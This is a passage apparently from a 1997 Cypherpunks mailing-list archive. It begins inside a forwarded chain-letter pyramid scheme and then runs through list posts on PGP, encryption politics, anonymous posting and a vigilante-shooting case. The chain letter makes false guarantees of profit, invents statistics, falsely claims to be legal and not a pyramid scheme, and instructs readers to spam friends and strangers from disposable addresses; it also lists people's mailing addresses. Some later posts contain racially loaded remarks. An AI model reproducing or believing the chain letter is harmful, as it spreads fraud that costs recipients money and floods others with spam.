me, many people will do that and more! By the way, your cost to participate in this is practically nothing. You obviously already have an internet connection and email is FREE!!! REPORT#3 will show you the best methods for bulk emailing and purchasing email lists. THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dream will come true. This multi-level email order marketing program works perfectly...100% EVERY TIME. Email is the sales tool of the future. Take advantage of this non-commercialised method of advertising NOW!! The longer you wait, the more people will be doing business using email. Get your piece of this action!! MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing. INSTRUCTIONS: This is the GREATEST Multi-level Mail Order Marketing anywhere: STEP #1 Order all four 4 REPORTS listed by NAME AND NUMBER. Do this by ordering one REPORT from each of the four names listed on the next page. (4 REPORTS at US $5 each will be only $20 Total!) For each REPORT, send $5 CASH ( checks take longer to clear the bank.) AND a SELF-ADDRESSED, STAMPED envelope (BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT. INTERNATIONAL ORDERS SHOULD ALSO INCLUDE $1 EXTRA FOR POSTAGE. It is essential that you specify the NAME and NUMBER of the report requested to the person you are ordering from, and send CASH as checks take longer to clear the bank. You will need ALL FOUR 4 REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say. IMPORTANT: Always provide same-day service on all orders. STEP #2 Replace the name and address under REPORT #1 with yours, moving the one that was there down to REPORT #2. Drop the name and address under REPORT #2 to REPORT #3, moving the one that was there to REPORT #4. The name and address that was under REPORT #4 is dropped from the list and this party is no doubt on the way to the bank. When doing this, make certain you type the names and addresses ACCURATELY! DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!! STEP #3 Having made the required changes in the NAME list, save it as a TEXT (.txt) file in it's own directory to be used with whatever email program you like. Again, REPORT #3 will tell you the best methods of bulk e-mailing and acquiring e-mail lists. STEP #4 E-mail a copy of the ENTIRE program (EVERYTHING THAT YOU HAVE READ HERE) to everyone whose address you can get your hands on. Start with friends and relatives first since it is easiest to convince them to take advantage of this fabulous & profitable opportunity. That's what I did. And they love me now, more than ever. Then, e-mail to anyone and everyone! Use your imagination! You can get e-mail addresses from companies on the internet who specialize in email mailing lists. These are very cheap, 100,000 addresses for around $35.00. IMPORTANT: You won't get a good response if you use an old list, so always request a NEW list. You will find out where to purchase these lists when you order the 4 REPORTS. ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!! ABOUT THE FOUR REPORTS: You already know that each costing $5. They not only serve as a means to work this program, but also contain worthwhile information. Some people use these reports to help them with this program, or to start a completely new program of a similar structure. The reports explain how this structure works, and why. The reports also show how MLM is used by major corporations, and how to obtain e-mailing lists, and how advertise by ways such as bulk e-mailing. REQUIRED REPORTS TO BE ORDERED ARE LISTED BELOW ***Order each REPORT by NUMBER and NAME*** ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH ( checks take longer to clear the bank) FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY its *NAME* AND *NUMBER* _____________________________________________________________________ REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" ORDER REPORT #1 FROM: Ron Rothstein P.O. Box 3011 Farmingdale, NY 11735 _____________________________________________________________________ REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES" ORDER REPORT #2 FROM: M. Myre 324 Claude Lachenaie, QC J6W 5Y6 Canada _____________________________________________________________________ REPORT#3 "SOURCES FOR THE BEST MAILING LISTS" LIU Qi Box 34-451, Yu-Qiao-Bei-Li Yu-Qiao Post Office Tong-Xian, Beijing 101101 PR CHINA ____________________________________________________________________ REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS" ORDER REPORT #4 FROM: Jerry H. P.O. Box 2 Atwood, CA 92811-0002 USA =FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF CONCLUSION I am enjoying my fortune that I made by sending out this program. You too, will be making money in 20 to 90 days, if you follow the SIMPLE STEPS outlined in this mailing. To be financially independent is to be FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back. However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. Will YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. Please re-read this material, this is a special opportunity. If you have any questions, please feel free to write to the sender of this information. You will get a prompt and informative reply. My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. THIS IS NOT A CHAIN LETTER OR PYRAMID SCHEME. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, NO product what-so-ever! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive. You are offering a legitimate product to people. After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduced at a local copy center for a cost off about 3 cents a copy. Best wishes with the program and Good Luck! "IT WAS TRULY AMAZING" "Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before." Mary Riceland, Lansing, MI TIPS FOR SUCCESS Send for your four 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, YOU MUST send out the product/service to comply with US Postal and Lottery laws. Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED." WHILE YOU WAIT FOR THE REPORTS TO ARRIVE: 1. Name your new company. You can use your own name if you desire. 2. Get a post office box (preferred, as there may come dozens or hundred of such $5 cash letters every day, you'd better to set private PO box to keep your money-in safety and convenient.) 3. Edit the names and addresses on the program. You must remember, replace the name and address next to REPORT #1 with YOURS and move the others down one, with the fourth one being BUMPED OFF the list. 4. Obtain as many e-mail addresses as possible to send until you receive the information on mailing list companies in REPORT #3. 5. Decide on the number of programs you intend to send out. The more you send, and the quicker you send them, the more money you will make. 6. After mailing the programs, get ready to fill the orders. 7. COPY the 4 REPORTS so you are able to sent them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS YOU RECEIVE! 8. Make certain the letter and reports are neat and legible. GUARANTEE The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a must!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES -ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY. REALLY, IT IS!!! REMEMBER: "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING." "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT FOR THE REST OF YOUR LIFE." BEST WISHES! --------------------------------------------------------------------- HELP FILE --------------------------------------------------------------------- Dear Friends, I have taken the liberty to put together a help file for all of the people who purchase a report from me. This file may be distributed to all of your customers at no charge to you. This letter gives you the rights to give this file to everyone who purchases a report from you, so long as *this* file is distributed to them at no additional charge. INTERNET ADVERTISING FOR FREE Most of you will want to sell as many reports as possible, without having to purchase large bulk-e-mailings and expensive classified ads on the Internet. The three most effective methods to do this for free are: Web Pages with your current Internet Provider, Postings on Newsgroups, and Free Classified Ad areas on the World Wide Web. ---Post directly to potential downlines--- There are many ways you can build a downline, but the best is to start surfing the Classified ads on the Internet. Look for people that are doing business on the Internet selling products, such as craft items, how to bo oks, pagers, phone cards or anything where they are trying to sell a line of products. People who are in Network Marketing or MLM are also good prospects. The free classified ads are the best. Stay away from people how are trying to sell one item like their car, a boat or their house these are people how are not interested in a business proposition, they are there to make one sale and one sale only. At the bottom of these ads there is a place to send an e-mail message to the author of the ad, click on it and fill out the name field, and the field where you can put your e-mail address. Then leave what ever is in the subject field there, this way it shows you are sending them a message from their ad and not just picking them out of thin air. Then go on to the part where you can leave a message and put. I often respond to classified ads with below message: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Dear Business Minded Friend, Thank You for your posting. Please accept my invitation to examine another exceptional business opportunity -- Try what ' $20+Internet ' can bring you! :) Not a get-rich-quick plan. If you are willing to spend $20 and some free time with your computer to e-mail and advertise to people, then you are welcome to join us. How much money you make is determined by your efforts. A serious participant could expect to earn around $50,000. Send Your Request for FREE Information to: PLEASE ACCEPT MY SINCERE APOLOGY IF YOU RECEIVE THIS INFORMATION MORE THAN ONE TIME, AS IT RESULTED FROM YOUR POSTS IN MORE THAN ONE PLACE. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The direct approach works best and quickest! HIGHLY RECOMMENDED !!! But! As you may have noticed, this way often incurs complain or attack from people without entrepreneurship. Advertising is always annoying to some people, but, there is always some other people just need the information advertised! This is why advertising industry is growing and growing... So you are advised to take a little more step to set two e-mail addresses, the one permanent ( along with the postal address ), and the initial one may become invalid at any time. At the next time you cover a new group of postings, you may need to generate a new e-mail address for those interested people to send info request. Anyway, there are lots of free e-mail services on the Net. If no secure permanent e-mail address available, you should suggest your downlines to use snail-mail to contact you. Actually, as the two files contain detailed information, your downlines have little necessity to contact you other than purchase one of the four business reports. ---Postings on Newsgroups--- Posting on newsgroups can be quite beneficial, but can also be the source of a great deal of junk mail, sent to you by merciless bulk mailers who don't know how to appropriately send bulk-mailings. These people often use software specially designed to rip your email address off of your post ings on a Newsgroup and place it in a large bulk emailing file. These files are often resold to countless companies who will start using this file to email all sorts of junk to you. The latest email I received from such a person, was a letter trying to get me to buy a machine that would generate a chemical you could rub onto you skin and it would cure a whole plethora of illnesses, among such outrageous claims, this chemical would cure the common cold, acne, asthma, AIDS, cancer, etc.. the list went on. Not only am I certain that this chemical is illegal (it claimed to cure you by destroying viruses and illness "by suffocation"), but sounded quite lethal. While this type of email might be good for a laugh (to see how naive people try to take you for), when you start receiving hundreds of them every week, it is annoying, and frustrating. Before I tell you which Newsgroups are good to post this opportunity on, I will tell you how you can trick these bulk e-mailers' software package into sending themselves an "undeleiverable mail" message. When you place a posting on a usenet group, try not to type your actual email address anywhere in your posting. You can type such things as "In an effort to reduce junk email I have placed a % sign where @ should be, please replace the % sign for an @ sign when replying to this email address" So your email address (if it was john at doe.com) would appear after this message as john%doe.com. This can help reduce your junk mail significantly, and rest assured, you will get junk mail from these unscrupulous e-mailers. Now that you are armed with this you are ready to place your postings. If some junk email doesn't bother you, you can just skip the above step (like I usually do. It is far too easy to just hit DELETE to get rid of unsolicited email). Still, there are some people who will flame you. There is no getting around that. A workplace hazard I suppose :) Good Newsgroups to place your ad for this opportunity. (I have had goodresponses from every one of the following groups): alt.business alt.business.accountability alt.business.import-export.computer alt.business.misc alt.business.multi-level alt.consumers.free-stuff alt.business.internet.commerce alt.make.money.fast alt.misc alt.alt alt.misc.jobs.offered alt.misc.misc alt.business.home.pc There are hundreds of others, but the idea here is to try and focus your postings to attract those people most likely to be interested in this opportunity. If you begin posting this opportunity in such outrageously unrelated places such as alt.lucid.dreams, you are likely to get flame email. So try to stay within the realm of business and "misc." groups.alt.business. home.pc is a HOT place to post this ad, I have had over 20 replies from this group within the last two days when I posted my ad. What should your posting consist of? I tend to not like posting the whole program on the newsgroups. I suppose you could do that, I suggest against it. It is far better to obtain a person's email address after they write you to request the program. That way you will be able to stay in touch with the person, and also gauge how successful a particular posting is before the snail-mail for orders starts to come in. You will then also be able to tell which postings are generating a good response, which are not generating responses and which places are really HOT. I typically write the following: --------------------------------------------------------------------- SUBJECT: MAKE 1997 *YOUR* YEAR. or: SUBJECT: INVEST IN YOURSELF THIS YEAR. --------------------------------------------------------------------- Posting: ----------- Why work for someone else when you can be working for yourself, making a very substantial income? If I offered to show you a program in which you could turn a $20 investment into thousands of dollars, would you be interested? Would you be interested if I offered you information on this program for FREE? Here's a look at the program I want to offer you this year: * Proven track record of success * Guaranteed program to raise capital fast (in about 90 days) * Quickly establish a "snowball growth" effect * Operate this business from home, office, or store * Completely Legal and "scam-free" under Lottery and Postal laws * No person-person selling * No personal contact with your customers if you don't want to * Learn how to harness the power of the Internet to your advantage * Obtain financial freedom in a very short period of time * People are scrambling to obtain information on this program (some people get on the Internet to LOOK for this program) * Originator of this program does not receive a dime for your participation * No-one above you "makes all the money" The 90-day clock to financial security is already working From anon at anon.efga.org Sat Dec 6 14:20:55 1997 From: anon at anon.efga.org (Anonymous) Date: Sun, 7 Dec 1997 06:20:55 +0800 Subject: No Subject Message-ID: <9db3255e8dfb4cc139b6713c67ebd331@anon.efga.org> Tim Mayo's abysmal grammar, atrocious spelling and feeble responses clearly identify him as a product of the American education system. _ / ' | /><\ Tim Mayo //[ `' ]\\ From stewarts at ix.netcom.com Sat Dec 6 15:57:56 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 7 Dec 1997 07:57:56 +0800 Subject: NA PGP Future (Re: Problems with PGP Finland site?) In-Reply-To: Message-ID: <3.0.3.32.19971206155107.006d03d8@popd.ix.netcom.com> At 11:26 AM 12/06/1997 -0700, Tim May wrote: >Though I wonder for how long Network Associates will continue to publish >source code books and encourage their wide distribution around the world? > >Or how long source code will be available at all. > >Or how long the freeware version will be available. I don't know about source code, but remember that the McAfee side of NA has been letting people use their virus checker as freeware for years for noncommercial use. The more interesting problems are how fast will the PGP staff leave after the merger, depending on what happens to their salaries, stock, etc., and how dead the Key Recovery Alliance support in NA is. Rumors I've heard are that the staff will lose a lot of people, but on the other hand the KRAP support is pretty dead. Thanks! Bill Bill Stewart, stewarts at ix.netcom.com Regular Key PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From alan at clueserver.org Sat Dec 6 16:03:46 1997 From: alan at clueserver.org (Alan Olsen) Date: Sun, 7 Dec 1997 08:03:46 +0800 Subject: Encrypted Horsemen Safe for Kiddies In-Reply-To: <199712062114.PAA26384@wire.insync.net> Message-ID: <199712070100.RAA31148@www.ctrl-alt-del.com> At 03:14 PM 12/6/97 -0600, Eric Cordian wrote: > >Good one, Bob. > >----- > >WASHINGTON, D.C. -- Online pornographers should be required to use >encryption, said Rep. Bob Goodlatte, (R, Va.) Tuesday at the Internet >Online Summit: Focus on Children conference held here. > >"That would certainly keep it away from children," said Goodlatte. >"I'm not advocating encryption to let pornography flourish." > >Goodlatte, a champion of loosening encryption legislation, has >sponsored legislation to allow the export of encryption products and >another bill in the intellectual property arena, as well as another >bill increasing liability for those found guilty of running Internet >gambling operations. > >Goodlatte was the afternoon speaker in place of Newt Gingrich, speaker >of the House, who couldn't attend. > >In addition, Attorney General Janet Reno postponed her appearance >until Wednesday morning at 10:30. > >Goodlatte took the opportunity to speak of the Clinton adminstration's >policy on encryption. "The Clinton administration's current encryption >policies are a severe hinderance on the development of the full >potential of the Internet," he said. > >He also said the House Judiciary Committee will begin a review of the >Clinton administration's enforcement of laws on obscenity. >From the A.P. Notwire... House Rep. Arrested on Morals Charge Rep. Bob Goodlatte was arrested today for selling PGP at a local schoolyard. "Since there has been so much scrutiny on election contributions, we have to get cash however we can." Rep. Goodlatte said. It is not known how much money was raised by Rep. Goodlatte in this fashion. An unknown accomplice known only as "Truthmonger" is sought by the Justice Department in regards to this incident. In other news, Rep. Goodlatte faces a trademark suit from the Starbucks corporation over his name. "Goodlatte is associated solely with our company. Therefore the use of that name violates our intellectual property rights.", said a Starbucks Spokesperson. --- | "That'll make it hot for them!" - Guy Grand | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From wombat at mcfeely.bsfs.org Sat Dec 6 16:23:07 1997 From: wombat at mcfeely.bsfs.org (Rabid Wombat) Date: Sun, 7 Dec 1997 08:23:07 +0800 Subject: Superdistribution development/release In-Reply-To: Message-ID: Don't under-estimate Bob; he can factor large primes in his head instantly. quadraticsievemonger On Thu, 4 Dec 1997, Lucky Green wrote: > On Wed, 3 Dec 1997, Robert Hettinga wrote: > > > > Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the > > digital document (financial newsletter, educational test, minutes from a > > court proceeding, sensitive health care records, etc.) goes, no matter > > how it gets there, whether it is used and then subsequently > > redistributed, etc. the document is always encrypted. It is never left > > decrypted and exposed even while it is being viewed. > > They have lost their mind. Since humans are notoriously bad at performing > decryptions in their head in real time, whatever is sent to the display > *must* be cleartext. Any competent programmer can grab it at that point. > > -- Lucky Green PGP v5 encrypted email preferred. > "Tonga? Where the hell is Tonga? They have Cypherpunks there?" > > From tcmay at got.net Sat Dec 6 16:47:32 1997 From: tcmay at got.net (Tim May) Date: Sun, 7 Dec 1997 08:47:32 +0800 Subject: A Medal -- Or A Prison Cell? In-Reply-To: <199712062000.PAA21076@mx01.together.net> Message-ID: At 1:00 PM -0700 12/6/97, Brian B. Riley wrote: > Larry Gates, a 54-year-old ex-Marine, operates a convenience store in > rural Iconium, Missouri. He's also a volunteer fireman. Last Christmas > Eve he was listening to a licensed fire department radio when he heard > a report that police were chasing two suspected murderers. Police had > lost track of the suspects. From his knowledge of the area, Gates was > aware that the car would pass directly in front of his store. "Suspected murderers," not "convicted murderers." And the cops could have been chasing any number of persons. (I'm not intending to sound like a simp-wimp apologist for criminals, but the language of this article, including "suspected murderers," "suddenly accelerated," "abusing drugs for days," "confessed to two homicides," and "planned to commit suicide" all smack of sensationalism. And did the Gates family know any of this stuff about "abusing drugs" and "planned to commit suicide"? Of course not. So, what if the folks in the car were tax protestors, whom the police radio misidentified as suspected murderers? Or other kinds of suspects? What if the passenger was a hostage? What if she had been killed by the shotgun blast? (The shooter presumably aimed to kill, after all. As we all know, shotgun pellets don't disable engines very well.) Just as we don't want cops shooting at "fleeing cars"--unless trained personnel have concluded that a threat exists or that no other means of stopping the car is feasible, so, too, we don't want suburban cowboys deciding to shoot at cars that are no immediate danger to them. (The "Instead, the car suddenly accelerated directly at Carey" sounds fishy to me, as few drivers would ram a car if they could see a way around the roadblock, which the driver apparently did.) I have no problem with anyone defending themselves or their family, or even their direct neighbors, with heavy firepower. But I don't want "volunteers" shooting at me, for example, if the local Gestapo happens to be chasing me. >From what I've read here, the prosecution is warranted. --Tim May > Gates grabbed a shotgun and sidearm, and along with his three adult > sons pulled two vehicles into the intersection, blocking it. Both > vehicles had fire emergency lights flashing. > > A few seconds later the suspects' car approached the roadblock. Gates' > son Carey motioned for the car to stop. Instead, the car suddenly > accelerated directly at Carey. Gates fired his shotgun once at the > car. The car swerved away from his sons, went around the roadblock, > and continued down the road. > >Two of Gates' sons followed the car at a moderate pace. The car was > driving erratically. Soon it slowed enough for the passenger, a woman, > to leap out. Gates' sons stopped. The woman suspect was slightly > wounded from Gates' shotgun. One of Gates's sons, an Emergency Medical > Technician, administered first aid. The other son resumed following > the car. When he came across the abandoned car, he called police. > Shortly the other suspect was arrested. > > The two suspects, who had been abusing drugs for days, confessed to > two homicides. The woman said the driver had planned to commit suicide > by crashing the car. > > Did the Gates family get medals? No. The St. Clair, Missouri > prosecutor has charged Larry Gates with "unlawful use of a weapon," a > felony offense. He was released from jail on $5,000 bond. If convicted > he faces up to five years' imprisonment and the permanent loss of his > Second Amendment rights. > >Gates has turned down offers to plea bargain his charges down to a > misdemeanor. He goes to trial December 10. Gun Owners of America has > established a legal defense fund for Larry Gates. For info call > 703-321-8585. >-------------------------------------------------------------------------- > >The courts have found that citizens are not legally entitled to police >protection, yet citizens who defend themselves and their communities are >routinely prosecuted as if THEY are the criminals. We are forced to pay >taxes to support a police force that is not required to defend us and is >instead used to punish us for defending ourselves. I don't get it. > >James A Chappelow > > "History shows that all conquerors who have allowed the > subject races to carry arms have prepared their own > downfall by so doing." > Adolf Hitler > > >--------------------------------------------------- >This message is from the VTLP-list (Vermont Libertarian) mailing list. To >send >a message to everyone on this list send email to >. To >unsubscribe from the list send eamil to with >"unsubscribe vtlp-list" in the body of the message. To subscribe to the >list >send email to with "subscribe vtlp-list your >name" >in the body of the message. > > > > >----------------- End Forwarded Message ----------------- > >Brian B. Riley --> http://members.macconnect.com/~brianbr > For PGP Keys > > "Never ask what sort of computer a guy drives. If he's a Mac user, > he'll tell you. If not, why embarrass him?" - Tom Clancy The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Sat Dec 6 17:07:47 1997 From: tcmay at got.net (Tim May) Date: Sun, 7 Dec 1997 09:07:47 +0800 Subject: A Medal -- Or A Prison Cell? Message-ID: At 1:00 PM -0700 12/6/97, Brian B. Riley wrote: > Larry Gates, a 54-year-old ex-Marine, operates a convenience store in > rural Iconium, Missouri. He's also a volunteer fireman. Last Christmas > Eve he was listening to a licensed fire department radio when he heard > a report that police were chasing two suspected murderers. Police had > lost track of the suspects. From his knowledge of the area, Gates was > aware that the car would pass directly in front of his store. > Gates grabbed a shotgun and sidearm, and along with his three adult > sons pulled two vehicles into the intersection, blocking it. Both > vehicles had fire emergency lights flashing. > > A few seconds later the suspects' car approached the roadblock. Gates' > son Carey motioned for the car to stop. Instead, the car suddenly > accelerated directly at Carey. Gates fired his shotgun once at the > car. The car swerved away from his sons, went around the roadblock, > and continued down the road. Also, how did Gates and his sons know the car was in fact the suspect's car? I doubt they could read a license plate of an approaching car, if in fact the cops even knew the license plate number and had broadcast it. If it turns out that the Gates family merely set up their own roadblock and tried to stop a car matching the general description (e.g., "a late model white Ford sedan," which might well be the case for a police chase), then they were truly reckless. If I were driving my late model white Ford sedan through the backroads of rural Missouri and some potential rednecks up ahead had their vehicles blocking the road, I'd for damn sure not stop so they could rob and maybe kill me. I'd gun the accelerator and try to get around this roadblock. As they weren't cops and the vehicles weren't police cars, why should a driver be fool enough to stop for some rednecks blocking the road? (If this example is not clear, ask yourself if you would stop your car for some blacks in Miami who blocked the road with their vehicles....) This is precisely why we don't want helpful do-gooders setting up their own road blocks and firing shots at cars that don't stop. --Tim May (P.S. If it turns out the Gates family knew _with certainty_ that the approaching car was in fact exactly the one being chased, and if their vehicles were painted fire engine red (not typical for volunteer fire deparment folks and their private vehicles), then this slightly ameliorates the recklessness of their actions. But I'd be surprised if this is the case. And I know that if some rural yahoos tried to stop me by blocking the road, I'd shoot first and ask questions later, as *I* would be the party actually defending myself against a threat.) The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ravage at ssz.com Sat Dec 6 17:13:35 1997 From: ravage at ssz.com (Jim Choate) Date: Sun, 7 Dec 1997 09:13:35 +0800 Subject: A Medal -- Or A Prison Cell? (fwd) Message-ID: <199712070122.TAA28995@einstein.ssz.com> Forwarded message: > Date: Sat, 6 Dec 1997 17:05:06 -0700 > From: Tim May > Subject: Re: A Medal -- Or A Prison Cell? > Also, how did Gates and his sons know the car was in fact the suspect's car? > > If it turns out that the Gates family merely set up their own roadblock > and tried to stop a car matching the general description (e.g., "a late > model white Ford sedan," which might well be the case for a police chase), > then they were truly reckless. > > As they weren't cops and the vehicles weren't police cars, why should a > driver be fool enough to stop for some rednecks blocking the road? > > (If this example is not clear, ask yourself if you would stop your car for > some blacks in Miami who blocked the road with their vehicles....) > > This is precisely why we don't want helpful do-gooders setting up their own > road blocks and firing shots at cars that don't stop. Since crypto-anarchy & free-market economic anarchy both do away with centralized authorities isn't this sort of behaviour what is *expected* of members of the community under these systems? Doesn't the fact that there is a clear and present danger to both person and community justify these sorts of actions? ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From nobody at REPLAY.COM Sat Dec 6 18:22:32 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sun, 7 Dec 1997 10:22:32 +0800 Subject: Anonymous Thread Message-ID: <199712070219.DAA28316@basement.replay.com> Charlie Comsec wrote: >Monty Cantsin wrote: >> Something that I have found irritating about the posts by >> non-persistent identities is that it isn't possible to support a >> meaningful discussion as previous statements can always be >> repudiated, or maybe even weren't made by the particular poster. I >> compared this to sound bites. > >How is that fundamentally different from non-anonymous posts, though? >You can always disavow (or attempt to) a previous post by claiming it >was forged, that someone stole your password, hacked your account, or >posted it when you accidentally left your terminal logged on while >you were at lunch. All true. But, in the case of the anonymous post there has usually been no indication other than writing style and topic that suggests the poster is using the context of previous anonymous posts. There's no particular reason to think the second post has anything to do with the first. This means that the ideas cannot be developed to any great depth or detail. I would prefer to see anonymous posters include the messages which supply context or just give the message IDs. >In addition, there's nothing to stop someone from obtaining multiple e-mail >accounts. So why should ten anonymous posts be an more irritating than >ten posts from hotmail.com, juno.com, etc. accounts? They could be from ten >different people, just one, or any number in between. Actually, it's the context and the complexity of the text that interests me. If ten different people play the role of anonymous in one thread, each accepting the context of the previous posters, there is no reason why that isn't just as interesting as if it were one poster. >> On second thought, however, there is an easy way to solve this. If >> the anonymous poster accepts the context of previous messages, the >> discussion can continue. There's no reason why the person behind the >> virtual thread has to be the same, but the context itself is important >> if we want to have interesting discussions. > >Agreed. It's the ideas that are important, not the identity of the person[a] >expressing them. The only exception I can think of is if the person >expressing the ideas is asking that they be accepted because of some unique >qualification or expertise he claims to possess. And even then it never hurts to think carefully about why they should be trusted, how it is that they know what they claim to know, and if there are any ways to verify their claims. >> So, if you don't want to sign your messages, just acknowledge the >> message ID of the relevant previous messages whose context you wish to >> use. > >Unless that's coupled with a PGP signature, there's nothing to keep one >anonymous person from impersonating another and agreeing to something. >For example, if "A" is debating "B", there's nothing to stop "B" from >posting as "C", claiming to be an anonymous KKK, NAMBLA, etc. member, >then posting again, impersonating "A", and pretending to agree with "C" >(by, as you say, "acknowledging C's message id"). That's okay, though, because you deal with each post on its own merits one at a time. If person "C" says "This posts uses the remarks by the anonymous poster in posts 1, 2, 3,.. as context" then you can say, "You now say X, but before you said Y, and that's a contradiction." That person (or even another person) can come back and say something genuinely interesting like "It seems like a contradiction, but in fact it isn't for such-and-such a reason." In practice the way people have been doing this is just by signing their posts "TruthMonger" or something. But, message IDs give you more control over the accepted context. >Nor is it much better if "A", "B", and "C" are non-anonymous. "B" can open >a throwaway account as "C", and then forge a follow-up from "A". Unless >it's done among a group of people skilled at interpreting headers, it may >well succeed, or at least arouse a lot of F.U.D. about "A". Sabotaging a non-persistent identity through a remailer is effortless. Forging takes a little more effort. But, yes, I would like to see more people signing their messages. It would reduce some problems. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: Anonymous Thread To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 2A27EB225593A316A1F4F5CAAA3CC76E2353E437 -1110 1110 BB5375A4CA7D251B9068B8F60CB312B70F33F2CE5497056B84E8B24E2FC582025C34BE2A28AEFC23F45D6CBBD346CDD713CAD28E0172DD633E89B6839674A10DF0280D62558B15C26CB9531BEB35DCB27444AACFFE1F316F120DFF71DCA79F8A5925D47C0D9EBF6446CD448DEF453745F8003C05C7A3FAEC1B12BECA91948B438908EC8C721519782AB43E2A5E11F914B749FE65AEE8C36F09AD0600DE86C047E4E440E7D8A58FC85CC742CB1B46B9029CE57ED11420780E5D0127AC81677676AF26F95014BDB833A98944CED405B77275AB02C43FF4148479ECCA0ABD2A43DB57F6E5DC2F20F21A6023F18D2D33BA52A01C72BA824E1A0EAD7EAE1579FEA3E3 